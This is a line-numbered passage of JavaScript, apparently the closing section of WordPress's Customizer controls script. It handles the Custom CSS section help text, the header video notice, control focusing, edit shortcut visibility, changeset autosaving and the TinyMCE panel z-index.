9190 });
9191 });
9192
9193 // Add code editor for Custom CSS.
9194 (function() {
9195 var sectionReady = $.Deferred();
9196
9197 api.section( 'custom_css', function( section ) {
9198 section.deferred.embedded.done( function() {
9199 if ( section.expanded() ) {
9200 sectionReady.resolve( section );
9201 } else {
9202 section.expanded.bind( function( isExpanded ) {
9203 if ( isExpanded ) {
9204 sectionReady.resolve( section );
9205 }
9206 } );
9207 }
9208 });
9209 });
9210
9211 // Set up the section description behaviors.
9212 sectionReady.done( function setupSectionDescription( section ) {
9213 var control = api.control( 'custom_css' );
9214
9215 // Hide redundant label for visual users.
9216 control.container.find( '.customize-control-title:first' ).addClass( 'screen-reader-text' );
9217
9218 // Close the section description when clicking the close button.
9219 section.container.find( '.section-description-buttons .section-description-close' ).on( 'click', function() {
9220 section.container.find( '.section-meta .customize-section-description:first' )
9221 .removeClass( 'open' )
9222 .slideUp();
9223
9224 section.container.find( '.customize-help-toggle' )
9225 .attr( 'aria-expanded', 'false' )
9226 .focus(); // Avoid focus loss.
9227 });
9228
9229 // Reveal help text if setting is empty.
9230 if ( control && ! control.setting.get() ) {
9231 section.container.find( '.section-meta .customize-section-description:first' )
9232 .addClass( 'open' )
9233 .show()
9234 .trigger( 'toggled' );
9235
9236 section.container.find( '.customize-help-toggle' ).attr( 'aria-expanded', 'true' );
9237 }
9238 });
9239 })();
9240
9241 // Toggle visibility of Header Video notice when active state change.
9242 api.control( 'header_video', function( headerVideoControl ) {
9243 headerVideoControl.deferred.embedded.done( function() {
9244 var toggleNotice = function() {
9245 var section = api.section( headerVideoControl.section() ), noticeCode = 'video_header_not_available';
9246 if ( ! section ) {
9247 return;
9248 }
9249 if ( headerVideoControl.active.get() ) {
9250 section.notifications.remove( noticeCode );
9251 } else {
9252 section.notifications.add( new api.Notification( noticeCode, {
9253 type: 'info',
9254 message: api.l10n.videoHeaderNotice
9255 } ) );
9256 }
9257 };
9258 toggleNotice();
9259 headerVideoControl.active.bind( toggleNotice );
9260 } );
9261 } );
9262
9263 // Update the setting validities.
9264 api.previewer.bind( 'selective-refresh-setting-validities', function handleSelectiveRefreshedSettingValidities( settingValidities ) {
9265 api._handleSettingValidities( {
9266 settingValidities: settingValidities,
9267 focusInvalidControl: false
9268 } );
9269 } );
9270
9271 // Focus on the control that is associated with the given setting.
9272 api.previewer.bind( 'focus-control-for-setting', function( settingId ) {
9273 var matchedControls = [];
9274 api.control.each( function( control ) {
9275 var settingIds = _.pluck( control.settings, 'id' );
9276 if ( -1 !== _.indexOf( settingIds, settingId ) ) {
9277 matchedControls.push( control );
9278 }
9279 } );
9280
9281 // Focus on the matched control with the lowest priority (appearing higher).
9282 if ( matchedControls.length ) {
9283 matchedControls.sort( function( a, b ) {
9284 return a.priority() - b.priority();
9285 } );
9286 matchedControls[0].focus();
9287 }
9288 } );
9289
9290 // Refresh the preview when it requests.
9291 api.previewer.bind( 'refresh', function() {
9292 api.previewer.refresh();
9293 });
9294
9295 // Update the edit shortcut visibility state.
9296 api.state( 'paneVisible' ).bind( function( isPaneVisible ) {
9297 var isMobileScreen;
9298 if ( window.matchMedia ) {
9299 isMobileScreen = window.matchMedia( 'screen and ( max-width: 640px )' ).matches;
9300 } else {
9301 isMobileScreen = $( window ).width() <= 640;
9302 }
9303 api.state( 'editShortcutVisibility' ).set( isPaneVisible || isMobileScreen ? 'visible' : 'hidden' );
9304 } );
9305 if ( window.matchMedia ) {
9306 window.matchMedia( 'screen and ( max-width: 640px )' ).addListener( function() {
9307 var state = api.state( 'paneVisible' );
9308 state.callbacks.fireWith( state, [ state.get(), state.get() ] );
9309 } );
9310 }
9311 api.previewer.bind( 'edit-shortcut-visibility', function( visibility ) {
9312 api.state( 'editShortcutVisibility' ).set( visibility );
9313 } );
9314 api.state( 'editShortcutVisibility' ).bind( function( visibility ) {
9315 api.previewer.send( 'edit-shortcut-visibility', visibility );
9316 } );
9317
9318 // Autosave changeset.
9319 function startAutosaving() {
9320 var timeoutId, updateChangesetWithReschedule, scheduleChangesetUpdate, updatePending = false;
9321
9322 api.unbind( 'change', startAutosaving ); // Ensure startAutosaving only fires once.
9323
9324 function onChangeSaved( isSaved ) {
9325 if ( ! isSaved && ! api.settings.changeset.autosaved ) {
9326 api.settings.changeset.autosaved = true; // Once a change is made then autosaving kicks in.
9327 api.previewer.send( 'autosaving' );
9328 }
9329 }
9330 api.state( 'saved' ).bind( onChangeSaved );
9331 onChangeSaved( api.state( 'saved' ).get() );
9332
9333 /**
9334 * Request changeset update and then re-schedule the next changeset update time.
9335 *
9336 * @since 4.7.0
9337 * @private
9338 */
9339 updateChangesetWithReschedule = function() {
9340 if ( ! updatePending ) {
9341 updatePending = true;
9342 api.requestChangesetUpdate( {}, { autosave: true } ).always( function() {
9343 updatePending = false;
9344 } );
9345 }
9346 scheduleChangesetUpdate();
9347 };
9348
9349 /**
9350 * Schedule changeset update.
9351 *
9352 * @since 4.7.0
9353 * @private
9354 */
9355 scheduleChangesetUpdate = function() {
9356 clearTimeout( timeoutId );
9357 timeoutId = setTimeout( function() {
9358 updateChangesetWithReschedule();
9359 }, api.settings.timeouts.changesetAutoSave );
9360 };
9361
9362 // Start auto-save interval for updating changeset.
9363 scheduleChangesetUpdate();
9364
9365 // Save changeset when focus removed from window.
9366 $( document ).on( 'visibilitychange.wp-customize-changeset-update', function() {
9367 if ( document.hidden ) {
9368 updateChangesetWithReschedule();
9369 }
9370 } );
9371
9372 // Save changeset before unloading window.
9373 $( window ).on( 'beforeunload.wp-customize-changeset-update', function() {
9374 updateChangesetWithReschedule();
9375 } );
9376 }
9377 api.bind( 'change', startAutosaving );
9378
9379 // Make sure TinyMCE dialogs appear above Customizer UI.
9380 $( document ).one( 'tinymce-editor-setup', function() {
9381 if ( window.tinymce.ui.FloatPanel && ( ! window.tinymce.ui.FloatPanel.zIndex || window.tinymce.ui.FloatPanel.zIndex < 500001 ) ) {
9382 window.tinymce.ui.FloatPanel.zIndex = 500001;
9383 }
9384 } );
9385
9386 body.addClass( 'ready' );
9387 api.trigger( 'ready' );
9388 });
9389
9390})( wp, jQuery );
9391